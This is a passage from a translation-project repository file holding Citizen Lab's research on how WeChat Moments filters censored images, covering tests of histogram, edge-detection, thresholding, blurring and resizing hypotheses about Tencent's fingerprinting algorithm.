because knowing the colour of a pixel in the original image still gives us a lot of information about what colour it will be in the modified one, as in this case it will be either the original colour or its inverse. In this metric, the distance between colours is never considered, and so there is no longer a cancelling out effect.\n\n|    |    |\n| -- | -- |\n| [![](https://citizenlab.ca/wp-content/uploads/2018/08/f20-1-255x300.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f20-1.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f20-2-255x300.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f20-2.png) |\n\n> Figure 8: Left, the original image in grayscale. Right, the image converted to black and white and inverted to the right of the flag transition. Although these images have a near-zero NMI of 0.03, the image on the right is still filtered.\n\nTo create an image with low NMI compared to its original, we took a sensitive image that used colours fairly symmetrically and converted it to black and white. We then inverted nearly half of the image (see Figure 8). Since the modified image is in black and white, knowing the colour of a pixel in the original now gives you little information about the colour in the other image, as most colours appear equally on both sides of the image; it is just as likely to be either its colour or its inverse, and since there are only two colours used in the modified image, knowing that does not provide any information.\n\nNote that in our modified image, we did not split the original image with its inverse image exactly down the middle as we did with the Tank Man photo in Figure 7. We had originally tried this but found that it was not filtered. However, when we split it along the natural border between the Hong Kong and Chinese flags in the image, then it was filtered. This result suggested that edges may be an important feature in WeChat’s algorithm.\n\n#### Histogram similarity\n\nAnother general method of comparing images is according to normalized histograms of their pixel intensities. Binning would typically be used to allow for similar colours to fall into the same bins. A simple way of comparing images is to take a histogram over each image in its entirety. This similarity metric would reveal if two images use similar colours, but since it does not consider the locations of any of the pixels, it lacks descriptive power when used as a similarity metric. As such, it would be invariant to rotation. However, as we saw in the earlier section, Tencent’s filter is not. This algorithm would also be invariant to non-uniform changes in scale, (i.e., changes in aspect ratio). To test if WeChat’s filtering algorithm is, we changed the aspect ratio of the same 15 sensitive images we tested in the previous section, in one set reducing each image’s height to 70%, and in another reducing each image’s width to 70%. We found that in all but one case (an image that had its width reduced by 70%) the new images evaded filtering. This further suggests that WeChat is not using a simple histogram approach.\n\nA histogram-based approach would also be sensitive to changes in image brightness and inverting an image’s colours. However, we experimented with increasing images brightness by 0.4 (i.e., increasing each of the R, G, and B values for each pixel by 0.4) or inverting their colours. In each case, the image was still filtered. Since a histogram-based metric would be sensitive to these transformations, this is unlikely to be Tencent’s similarity metric.\n\nOne enhancement to the histogram approach is to use a _spatial histogram_, where an image is divided into regions and a separate histogram is counted for each region. This would allow the histogram to account for the spatial qualities of each image. We found reference to Tencent using such an algorithm in a June 2016 document on Intel’s website describing optimizations made to Tencent’s image censorship system. The document is titled “[Tencent Optimizes an Illegal Image Filtering System](https://software.intel.com/en-us/blogs/2016/06/27/tencent-optimizes-an-illegal-image-filtering-system).” The document describes how Intel worked with Tencent to use [SIMD](https://en.wikipedia.org/wiki/SIMD) technology, namely Intel’s [SSE](https://en.wikipedia.org/wiki/Streaming_SIMD_Extensions) instruction set to improve the performance of Tencent’s filtering algorithm used on WeChat and other platforms to censor images. The document does not reveal the exact algorithm used. However, it does include a high level outline and some code samples that reveal characteristics of the algorithm.\n\nThe high level view of the algorithm described in the document is as follows.\n\n1.  First, an uploaded image is decoded.\n2.  Next, it is then smoothed and resized to a fixed size.\n3.  A _fingerprint_ of the image is calculated.\n4.  The fingerprint is compared to the fingerprint of each illegal image. If the image is determined to be illegal, then it is filtered.\n\nThe details of the fingerprinting step are never explicitly described in the document, but from what we can infer from code samples, we suspect that they were using the following fingerprinting algorithm:\n\n1.  The image is converted to grayscale.\n2.  The image is then divided into a 3×3 grid of equally sized rectangle regions.\n3.  For each of the 9 regions, a 4-bin histogram is generated by counting and binning based on the intensity of each pixel in that region. The fingerprint is a vector of these 9 × 4 = 36 counts.\n\n|    |    |\n| -- | -- |\n| [![](https://citizenlab.ca/wp-content/uploads/2018/08/f21-1-300x200.jpg)](https://citizenlab.ca/wp-content/uploads/2018/08/f21-1.jpg) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f21-2-300x200.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f21-2.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f21-3-300x200.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f21-3.png) |\n\n> Table 26: Left, the original filtered image. Centre, the original image with the contrast drastically decreased. Right, the original image with the colours inverted. Both the low contrast and inverted images are filtered.\n\nIt is never explicitly stated in the report, but file names referenced in the report (simhash.cpp, simhash11.cpp) would suggest that the [SimHash](https://en.wikipedia.org/wiki/SimHash) algorithm may be used to reduce the size of the final fingerprint vector and to binary-encode it. This spatial-histogram-based fingerprinting algorithm is, however, also inconsistent with our observations. While this approach would explain why the metric is not invariant to mirroring or rotation, it still would be sensitive to changes in contrast or to inverting the colours of the image, which we found WeChat’s algorithm to be largely robust to (see Table 26 for an example of decreased contrast and inverted colours).\n\n[![](https://citizenlab.ca/wp-content/uploads/2018/08/f22-300x169.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f22.png)\n\n> Figure 9: Original image.\n\n[![](https://citizenlab.ca/wp-content/uploads/2018/08/f23-300x169.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f23.png)\n\n> Figure 10: Image modified such that each of the nine regions has been vertically flipped.\n\nIn light of finding Intel’s report, we decided to perform one additional test. We took a censored image and divided it into nine equally sized regions as done in the fingerprinting algorithm referenced in Intel’s report. Next, we independently vertically flipped the contents of each region (see Figures 9 and 10). The contents of each region should still have the same distribution of pixel intensities, thus matching the fingerprint; however, we found that the modified image evaded filtering. It is possible that Tencent has changed their implementation since Intel’s report.\n\n#### Edge detection\n\nEdges are often used to compare image similarity. Intuitively, edges represent the boundaries of objects and of other features in images.\n\n|    |    |\n| -- | -- |\n| [![](https://citizenlab.ca/wp-content/uploads/2018/08/f24-1-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f24-1.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f24-2-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f24-2.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f24-3-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f24-3.png) |\n\n> Table 27: Two kinds of filtering. Left, the original image. Centre, the image with a Sobel filter applied. Right, the Canny edge detection algorithm.\n\nThere are generally two approaches to edge detection. The first approach involves taking the differences between adjacent pixels. The [Sobel filter](https://en.wikipedia.org/wiki/Sobel_operator) is a common example of this (see Table 27). One weakness of this approach is that by signifying small differences as low intensity and larger differences as high intensity, it still does not specify in a 0-or-1 sense which are the “real” edges and which are not. A different approach is to use a technique like [Canny edge detection](https://en.wikipedia.org/wiki/Canny_edge_detector) which uses a number of filtering and heuristic techniques to reduce each pixel of a Sobel-filtered image to either black (no edge) or white (an edge is present). As this reduces each pixel to one bit, it is more computationally efficient to use as an image feature.\n\nThere is some reason to think that WeChat’s filtering may incorporate edge detection. When we searched online patents for references to how Tencent may have implemented their image filtering, we found that in June 2008 Tencent filed a patent in China called [图片检测系统及方法](https://encrypted.google.com/patents/CN101303734A) (System and method for detecting a picture). In it they describe the following real-time system for detecting blacklisted images after being uploaded.\n\n1.  First, an uploaded image is resized to a preset size in a way that preserves aspect ratio.\n2.  Next, the [Canny edge detection](https://en.wikipedia.org/wiki/Canny_edge_detector) algorithm is then used to find the edges in the uploaded image.\n3.  A fingerprint of the image is calculated.\n    1.  First, the moment invariants of the result of the Canny edge detection algorithm are calculated. It is unclear what kind of moment invariants are calculated.\n    2.  In a way that is not clearly specified by the patent, the moment invariants are through some process binary-encoded.\n    3.  Finally, the resulting binary-encoded values are [MD5](https://en.wikipedia.org/wiki/MD5) hashed. This resulting hash is the image fingerprint.\n4.  fingerprint of the uploaded image is then compared to the fingerprint of each illegal image. If the fingerprint matches any of those in the image blacklist, then it is filtered.\n\nSteps 1 and 4 are generally consistent with our observations in this report thus far. Uploaded images are resized to a preset size in a way that preserves aspect ratio, and the calculated fingerprint of an image is compared to those in a blacklist.\n\nIn step 3, the possibility of using Canny edge detection is thus far compatible with all of our findings in this report (although it is far from being the only possibility). The use of moment invariants is not strongly supported, as WeChat’s filtering algorithm is very sensitive to rotation. Moreover, encoding the invariants into an MD5 hash through any imaginable means would seem inconsistent with our observations thus far, as MD5, being a cryptographic hash, has the property that the smallest of changes to the hashed content have, in expectation, an equal size of effect on the value of the hash as that of the largest changes. However, we might imagine that they use an alternative hash such as [SimHash](https://en.wikipedia.org/wiki/SimHash), which can hash vectors of real-valued numbers such that two hashes can be compared for similarity in a way that approximates the original [cosine similarity](https://en.wikipedia.org/wiki/Cosine_similarity) between the hashed vectors.\n\nWe found that designing experiments to test for the use of Canny edge detection difficult. The algorithm is highly parameterized, and the parameters are often determined dynamically using heuristics based on the contents of an image. Moreover, unlike many image transformations such as grayscale conversion, Canny edge detection is not idempotent, (i.e., the canny edge detection of a canny edge detection is not the same as the original canny edge detection). This means that we cannot simply upload an edge-detected image and see if it gets filtered. Instead, we created test images by removing as many potentially relevant features of an image as possible while preserving the edges of an image.\n\n|    |    |\n| -- | -- |\n| [![](https://citizenlab.ca/wp-content/uploads/2018/08/f21-1-300x200.jpg)](https://citizenlab.ca/wp-content/uploads/2018/08/f21-1.jpg) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f25-2-300x200.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f25-2.png) |\n\n> Table 28: Left, the original filtered image. Right, the image thresholded according to Otsu’s method, which is also filtered.\n\nTo do this, we again returned to thresholding, which we originally explored when analyzing the WeChat filter’s ability to perform OCR. By using thresholding, we reduced all pixels to either black or white, eliminating any gray or gradients from the image, while hopefully largely preserving the edges in the image (see Table 28).\n\nIn our experiment, we wanted to know what effects performing thresholding would have on images that we knew were filtered. To do this, on our usual 15 images we applied global thresholding according to four different thresholds: the image’s median grayscale pixel value, the image’s mean grayscale pixel value, a fixed value of 0.5, and a threshold value chosen using Otsu’s method (see Table 29).\n\n[![](https://citizenlab.ca/wp-content/uploads/2018/08/Table_14.png)](https://citizenlab.ca/wp-content/uploads/2018/08/Table_14.png)\n\n> Table 29: Results performing four different thresholding algorithms on 15 images. All but one image was filtered after being thresholded by at least one of the four algorithms.\n\nWe found that all but one image was still filtered after being thresholded by at least one of the four algorithms.\n\n|    |    |    |    |\n| -- | -- | -- | -- |\n| (a) | (b) | (c) | (d) |\n| [![](https://citizenlab.ca/wp-content/uploads/2018/08/f26-1-300x300.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f26-1.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f26-2-300x300.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f26-2.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f26-3.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f26-3.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f26-4.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f26-4.png) |\n\n> Table 30: (a), Liu Xiaobo’s empty chair, when thresholded according to Otsu’s method, its stripes are lost. (b), Liu Xiaobo and his wife thresholded according to Otsu’s method with the algorithm performing poorly on the gradient background. (c) and (d), an artificially created gradient background and its thresholded counterpart. In (d), an edge has been created where perceptually one would not be thought to exist.\n\nAll but two of the images were still filtered after being thresholded using a threshold determined via Otsu’s method. Among the two images that were not filtered, one was the image of Liu Xiaobo’s empty chair. This may be because the threshold chosen by Otsu’s method did not distinguish the stripes on the empty chair. The other was the photograph of Liu Xiaobo and his wife clanging coffee cups. This may be because thresholding does not preserve edges well with backgrounds with gradients, as the thresholding will create an erroneous edge where none actually exists (see Table 30).\n\nAs an additional test, we took the 15 images thresholded using Otsu’s method and inverted them. This would preserve the location of all edges while radically altering the intensity of many pixels.\n\n|    |    |    |    |\n| -- | -- | -- | -- |\n| [![](https://citizenlab.ca/wp-content/uploads/2018/08/f27-1-225x300.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f27-1.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f27-2-255x300.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f27-2.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f27-3-300x300.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f27-3.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f27-4-220x300.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f27-4.png) |\n\n> Table 31: The four images filtered after thresholding according to Otsu’s method and then inverted.\n\nWe found that among the 13 images that were filtered after applying Otsu’s method, only four were filtered after they were additionally inverted (see Table 31). The two images that were not filtered before were also not filtered after being inverted. This suggests that, if edge detection is used, it is either in addition to other features of the image, or the edge detection algorithm is not one such as the Canny edge detection algorithm which only tracks edges not their “sign” (i.e., whether the edge is going from lighter to darker versus darker to lighter).\n\nBetween the Intel report and the Tencent patent, we have seen external evidence that WeChat is using either spatial histograms or Canny edge detection to fingerprint sensitive images. Since neither seems to be used by itself, is it possible that they are building a fingerprint using both? To test this, we took the 13 filtered images thresholded using Otsu’s method and tested to see how light we could lighten the black channel such that the thresholded image is still filtered.\n\n|    |    |    |    |    |    |    |\n| -- | -- | -- | -- | -- | -- | -- |\n| [![](https://citizenlab.ca/wp-content/uploads/2018/08/f28-1-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f28-1.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f28-2-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f28-2.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f28-3-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f28-3.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f28-4-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f28-4.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f28-5-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f28-5.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f28-6-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f28-6.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f28-7-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f28-7.png) |\n| 20 | 215 | 56 | 11 | 12 | 19 | 15 |\n| [![](https://citizenlab.ca/wp-content/uploads/2018/08/f28-8-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f28-8.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f28-9-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f28-9.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f28-10-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f28-10.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f28-11-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f28-11.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f28-12-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f28-12.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f28-13-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f28-13.png) |\n| 18 | 28 | 55 | 255 | 21 | 18 |\n\n> Table 32: The lightest image still filtered, and, below each image, the difference in intensities between white and the darkest value (out of 255).\n\nOur results show that sometimes the difference in intensities can be small for an image to still be filtered and that sometimes it must be large, with one case allowing no lightening of the black pixels at all (see Table 32). The images with small differences are generally the non-photographic ones with well-defined edges. These are images where the thresholding algorithm would have been most likely to preserve features of the image such as the edges in the first place. Thus, they are more likely to preserve these features when they have been lightened up, especially after possible filtering such as downscaling has been applied.\n\nNevertheless, this result shows that the original image need not have a similar spatial histogram. Six of the seven images in Table 32 have an intensity difference of less than 64, which, in the 4-binned spatial histogram algorithm referenced in the Intel report, would put every pixel into the same bin. When we repeat this experiment with the inverted thresholded images and lightening them such that every pixel fit into the same bin, we could not get any additional inverted images to be filtered, despite these images preserving the locations of the edges and having the same spatial histograms as images that we knew to be filtered. All together this suggests that spatial histograms are not an important feature of these images.\n\nSo far our approach has been to eliminate as many of an image’s features as possible except for edges and test to see if it still gets filtered. We also decided to take the opposite approach, eliminating edges by blurring them while keeping other features untouched. We proportionally resized each image such that its smallest dimension(s) is/are 200 pixels (see the “Resizing” section for why we resized this way). Then we applied a normalized box filter to blur the image, increasing the kernel size until the image is sufficiently blurred to evade filtering.\n\n|    |    |    |    |    |\n| -- | -- | -- | -- | -- |\n| [![](https://citizenlab.ca/wp-content/uploads/2018/08/f29-1-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f29-1.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f29-2-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f29-2.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f29-3-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f29-3.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f29-4-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f29-4.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f29-5-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f29-5.png) |\n| 5 px | 3 px | 4 px | 4 px | 2 px |\n| [![](https://citizenlab.ca/wp-content/uploads/2018/08/f29-6-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f29-6.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f29-7-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f29-7.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f29-8-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f29-8.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f29-9-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f29-9.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f29-10-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f29-10.png) |\n| 3 px | 1 px | 6 px | 4 px | 5 px |\n| [![](https://citizenlab.ca/wp-content/uploads/2018/08/f29-11-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f29-11.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f29-12-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f29-12.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f29-13-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f29-13.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f29-14-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f29-14.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f29-15-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f29-15.png) |\n| 4 px | 6 px | 7 px | 5 px | 6 px |\n\n> Table 33: The largest normalized box filter kernel size that can be applied to each image while still being filtered.\n\nIn general, we saw that WeChat’s filter was not robust to blurring (see Table 33). Non-photographic images were generally the easiest to evade filtering by blurring, possibly because they generally have sharper and more well-defined edges.\n\nIn this section we have demonstrated evidence that edges are important image features in WeChat’s filtering algorithm. Nevertheless, it remains unclear exactly how WeChat builds image fingerprints. Some possibilities are that it specifically uses filtering methods such as Sobel filtering, although a detection algorithm such as Canny edge detection seems unlikely as it does not preserve the sign of the edges. Another possibility is that it fingerprints images in the [frequency domain](https://en.wikipedia.org/wiki/Fourier_transform), where small changes to distinct edges can often have effect the values of a large number of multiple frequencies, and where large changes to the overall brightness of an image can significantly affect the values of only a small number of frequencies.\n\n> * 上一篇：[(CAN’T) PICTURE THIS: An Analysis of Image Filtering on WeChat Moments — Part 2](https://github.com/xitu/gold-miner/blob/master/TODO1/cant-picture-this-an-analysis-of-image-filtering-on-wechat-moments-2.md)\n>\n> * 下一篇：[(CAN’T) PICTURE THIS: An Analysis of Image Filtering on WeChat Moments — Part 4](https://github.com/xitu/gold-miner/blob/master/TODO1/cant-picture-this-an-analysis-of-image-filtering-on-wechat-moments-4.md)\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/cant-picture-this-an-analysis-of-image-filtering-on-wechat-moments-4.md",
    "content": "> * 原文地址：[(CAN’T) PICTURE THIS: An Analysis of Image Filtering on WeChat Moments — Part 4](https://citizenlab.ca/2018/08/cant-picture-this-an-analysis-of-image-filtering-on-wechat-moments/)\n> * 原文作者：[Jeffrey Knockel](https://citizenlab.ca/author/jknockel/), [Lotus Ruan](https://citizenlab.ca/author/lotus/), [Masashi Crete-Nishihata](https://citizenlab.ca/author/masashi/), and [Ron Deibert](https://citizenlab.ca/author/profd/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/cant-picture-this-an-analysis-of-image-filtering-on-wechat-moments-4.md](https://github.com/xitu/gold-miner/blob/master/TODO1/cant-picture-this-an-analysis-of-image-filtering-on-wechat-moments-4.md)\n> * 译者：\n> * 校对者：\n\n# (CAN’T) PICTURE THIS: An Analysis of Image Filtering on WeChat Moments — Part 4\n\n> * [(CAN’T) PICTURE THIS: An Analysis of Image Filtering on WeChat Moments — Part 1](https://github.com/xitu/gold-miner/blob/master/TODO1/cant-picture-this-an-analysis-of-image-filtering-on-wechat-moments-1.md)\n> * [(CAN’T) PICTURE THIS: An Analysis of Image Filtering on WeChat Moments — Part 2](https://github.com/xitu/gold-miner/blob/master/TODO1/cant-picture-this-an-analysis-of-image-filtering-on-wechat-moments-2.md)\n> * [(CAN’T) PICTURE THIS: An Analysis of Image Filtering on WeChat Moments — Part 3](https://github.com/xitu/gold-miner/blob/master/TODO1/cant-picture-this-an-analysis-of-image-filtering-on-wechat-moments-3.md)\n> * [(CAN’T) PICTURE THIS: An Analysis of Image Filtering on WeChat Moments — Part 4](https://github.com/xitu/gold-miner/blob/master/TODO1/cant-picture-this-an-analysis-of-image-filtering-on-wechat-moments-4.md)\n\n#### Resizing\n\nUp until this point, we have been mostly concerned with experimenting with images that have the same aspect ratios. In this section we test how changing images’ sizes affected WeChat’s ability to recognize them. How does WeChat’s filter compare images that might be an upscaled or downscaled version of that on the blacklist? For instance, does WeChat normalize the dimensions of uploaded images to a canonical size? (See Table 34)\n\n![](https://i.loli.net/2018/08/16/5b74e3805b458.png)\n\n> Table 34: Examples of how two images would be resized according to five different hypotheses.\n\nTo answer these questions, we decided to test five different hypotheses:\n\n1.  Images are proportionally resized such that their **width** is some value such as 100.\n2.  Images are proportionally resized such that their **height** is some value such as 100.\n3.  Images are proportionally resized such that their **largest** dimension is some value such as 100.\n4.  Images are proportionally resized such that their **smallest** dimension is some value such as 100.\n5.  **Both** dimensions are resized according to two parameters to some fixed size and proportion such as 100×100.\n\nIf the last hypothesis is correct, then we would expect WeChat’s filter to be invariant to non-uniform changes in scale, i.e., it should be tolerant of modifications to a sensitive image’s aspect ratio. This is because the aspect ratio of the uploaded image would be erased when the image is resized to a preset aspect ratio. To test this, we performed an experiment on our usual set of 15 images. We created a _shorter_ image by stretching each image 30% shorter. We also created a _thinner_ image by stretching each image 30% thinner. Each of the shorter images evaded filtering. Moreover, all but one of the thinner images, the graphic of Liu Xiaobo with his wife, evaded filtering. As modifying the aspect ratio of blacklisted images easily evades filtering, this would suggest that the last hypothesis is not true.\n\nTo test hypotheses 1 through 4, we made the following corresponding predictions:\n\n1.  If images are proportionally resized based on their **width**, then adding extra space to their width would evade filtering but adding it to their height would not.\n2.  If images are proportionally resized based on their **height**, then adding extra space to their height would evade filtering.\n3.  If images are proportionally resized based on their **largest** dimension, then adding extra space to that dimension would evade filtering.\n4.  If images are proportionally resized based on their **smallest** dimension, then adding extra space to that dimension would evade filtering.\n\n|    |    |    |    |    |\n| -- | -- | -- | -- | -- |\n| [![](https://citizenlab.ca/wp-content/uploads/2018/08/f30-w1-150x141.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f30-w1.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f30-w2-150x125.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f30-w2.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f30-w3-150x141.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f30-w3.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f30-w4-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f30-w4.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f30-w5-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f30-w5.png) |\n| [![](https://citizenlab.ca/wp-content/uploads/2018/08/f30-h1-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f30-h1.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f30-h2-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f30-h2.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f30-h3-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f30-h3.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f30-h4-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f30-h4.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f30-h5-150x150.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f30-h5.png) |\n\n> Table 35: The five wide and the five tall images we tested.\n\n|    | **Resized to same height** | **Resized to same width** |\n| -- | -------------------------- | ------------------------- |\n|    | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f31-1.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f31-1.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f31-2.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f31-2.png) |\n|    | (the original) | (the original) |\n| +  | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f31-3.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f31-3.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f31-4-1.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f31-4-1.png) |\n|    | (space added to width, resized to same height) | (space added to width, resized to same width) |\n| =  | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f31-5-150x100.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f31-5.png) | [![](https://citizenlab.ca/wp-content/uploads/2018/08/f31-6.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f31-6.png) |\n\n> Table 36: Two different ways of resizing an image after extra space is added to its width. If resizing by its height (hypothesis 2) or by its shortest dimension (hypothesis 4), the scale of the image’s contents are unchanged with respect to the original and there is complete overlap (white). If resizing by its width (hypothesis 1) or by its largest dimension (hypothesis 3), the image’s original contents become smaller and do not overlap well with the original.\n\nTo test these predictions, we chose ten filtered images, five such that their height is no more than ⅔ of their width, which we call the _wide_ images, and five such that their width is no more than ⅔ of their height, which we call the _tall_ images (see Table 35). We then modified each of the images by adding black space the size of 50% of their width to their left and right sides (see Table 36 for an example) and again by adding black space the size of 50% of their height to their top and bottom sides. We repeated these again except by using 200% of the respective dimensions.\n\n![](https://i.loli.net/2018/08/16/5b74f84ec10a0.png)\n\n> Table 37: The number of wide and tall images that evaded filtering after adding different amounts of extra space to either their width or height.\n\nWe found that wide images with space added to their width and tall images with space added to their height were always filtered. This is consistent with hypothesis 4, that WeChat resizes based on an uploaded image’s shortest dimension, as this hypothesis predicts that adding space in this matter will not change the scale of the original image contents after the image is resized. We also found that wide images with space added to their height and tall images with space added to their width usually evaded filtering, suggesting that this caused the uploaded image to be further downscaled compared to the corresponding one on the blacklist.\n\nThe results between adding 50% and 200% extra space were fairly consistent, with only one additional image being filtered in the 200% case. This consistency is to be expected, since according to the shortest dimension hypothesis, adding extra space past when the image has already become square will not affect its scaling.\n\n[![](https://citizenlab.ca/wp-content/uploads/2018/08/f32.png)](https://citizenlab.ca/wp-content/uploads/2018/08/f32.png)\n\n> Figure 11: A screenshot of visually similar images to the Tank Man photo with extra space on their top and bottom found via a reverse Google Image search.\n\nIt is not clear why some images–two tall images with extra width and one wide image with extra height–were still filtered. It is possible that WeChat’s filtering algorithm has some tolerance of changes in scale. However, it is also possible that variants of these images with that extra space or some other border or content added in these areas are also on the blacklist. For example, the only wide image with extra height to still be filtered is the famous and highly reproduced Tank Man photo. A reverse Google Image search finds that there are many images with similar spacing added to them already in circulation on the Internet (see Figure 11).\n\n#### Translational invariance\n\nIn the previous section, when we tested how the filter resizes uploaded images, we did so by adding blank black space to the edges of uploaded images and observing which are filtered. We found that images with a large amount of extra space added to their largest dimensions were still filtered. We tested this by keeping the sensitive image in the centre and adding an equal amount of extra space to both sides of the largest dimension. We wanted to know if WeChat’s filtering algorithm can only find sensitive images in the centre of such an image, or if it can find them anywhere in an image. Formally, we wanted to test whether WeChat’s filtering algorithm is [translationally 